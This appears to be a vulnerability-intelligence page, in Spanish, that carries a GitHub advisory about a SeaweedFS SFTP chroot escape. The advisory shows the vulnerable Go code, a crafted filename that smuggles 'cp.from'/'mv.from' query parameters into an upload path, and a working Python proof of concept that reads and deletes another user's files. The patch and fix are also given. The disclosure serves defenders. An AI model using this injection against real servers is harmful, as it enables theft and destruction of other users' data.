llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-VWWX-W898-9F4R

SFTP chroot escape via unescaped filename in upload URL allows cross-user data disclosure and deletion

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión4.42
Exposición69 dDesde la divulgación, 12 sept 2026, 11:08 a. m.
Detección68 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Tu firewall merece enterarse de esto.Esto huele a fin de semana trabajando si lo ignoras.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
12 sept 26
20 nov 26
21 nov 26
12 sept 26
30 sept 26
17 oct 26
4 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-VWWX-W898-9F4R divulgada · CVSS 9.9 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The SFTP server confines each user to their home directory, but when uploading a file it builds the destination URL by concatenating the user-controlled filename into the HTTP request path without URL-encoding it. A filename containing `?` is interpreted by the filer's raw HTTP API as a query string, allowing an authenticated SFTP user to inject `cp.from` / `mv.from` and read, move, or delete any other user's files.

### Details
In `weed/sftpd/sftp_filer.go`, `putFile` concatenates the filename directly into the URL:

uploadUrl := fmt.Sprintf("http://%s%s", fs.filerAddr, filepath)
req, err := http.NewRequest(http.MethodPut, uploadUrl, body)

The chroot check in `toAbsolutePath` (`weed/sftpd/sftp_server.go`) only resolves `.` / `..` segments with `path.Join` and verifies the result stays under `HomeDir`. It does not reject `?`, so a filename such as:

steal?cp.from=/home/bob/secret.txt

passes the chroot check, then becomes the URL:

http://filer:8888/home/alice/steal?cp.from=/home/bob/secret.txt

which the HTTP client parses as `URL.Path = /home/alice/steal` and `URL.RawQuery = cp.from=/home/bob/secret.txt`.

The filer write handler (`weed/server/filer_server_handlers_write.go`) treats those query parameters as server-side copy/move commands executed with full filer privileges:

if query.Has("mv.from") {
    fs.move(ctx, w, r, so)
} else if query.Has("cp.from") {
    fs.copy(ctx, w, r, so)
} else {
    fs.autoChunk(...)
}

The SFTP-server-minted JWT (`security.GenJwtForFilerServer`) has no `AllowedPrefixes`, so the filer's path-scope check does not constrain the injected source path.

### PoC
Deployment: `weed master` + `weed volume` + `weed filer` + `weed sftp`, with two users in different home directories:

[
  { "Username": "alice", "Password": "alicepass", "HomeDir": "/home/alice", "Uid": 1001, "Gid": 1001, "Permissions": { "/home/alice": ["*"] } },
  { "Username": "bob",   "Password": "bobpass",   "HomeDir": "/home/bob",   "Uid": 1002, "Gid": 1002, "Permissions": { "/home/bob":   ["*"] } }
]
  1. Bob uploads a secret: `put /secret.txt` → stored at `/home/bob/secret.txt`.
  2. As Alice, a direct read of any path outside `/home/alice` is denied (chroot intact).
  3. Alice uploads `put /steal?cp.from=/home/bob/secret.txt`.
  4. Alice downloads `/steal` and receives Bob's content.

The `mv.from` variant deletes the victim's file and delivers its content to the attacker:

import paramiko

HOST, PORT = "127.0.0.1", 2022

def put(user, pw, remote, data):
    t = paramiko.Transport((HOST, PORT)); t.connect(username=user, password=pw)
    s = paramiko.SFTPClient.from_transport(t)
    with s.open(remote, "wb") as f: f.write(data)
    s.close(); t.close()

def get(user, pw, remote):
    t = paramiko.Transport((HOST, PORT)); t.connect(username=user, password=pw)
    s = paramiko.SFTPClient.from_transport(t)
    try:
        with s.open(remote, "rb") as f: return f.read()
    except IOError: return None
    finally: s.close(); t.close()

put("bob", "bobpass", "/secret.txt", b"BOB-SUPER-SECRET\n")
assert get("alice", "alicepass", "/secret.txt") is None          # chroot blocks direct read

put("alice", "alicepass", "/steal?cp.from=/home/bob/secret.txt", b"dummy")
print(get("alice", "alicepass", "/steal"))   # b'BOB-SUPER-SECRET\n'

put("alice", "alicepass", "/stolen?mv.from=/home/bob/secret.txt", b"dummy")
print(get("bob", "bobpass", "/secret.txt"))  # None  (deleted)
print(get("alice", "alicepass", "/stolen"))  # b'BOB-SUPER-SECRET\n'

<img width="1288" height="841" alt="image" src="https://github.com/user-attachments/assets/22326c66-076a-43be-9a33-9fc930497e01" />

### Impact
An authenticated SFTP user escapes their home directory and can read (`cp.from`) or move/delete (`mv.from`) any other user's data, crossing the per-user isolation boundary the SFTP server is designed to enforce.

The fix is to URL-encode the path before embedding it in the request URL so that `?` becomes `%3F` and is treated as a literal path character.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.7/ 10Muy alto
Vector 8.7 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs< 4.42
4.42
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Corregida 4.42 — —
Versiones corregidas4.42
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-vwwx-w898-9f4r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.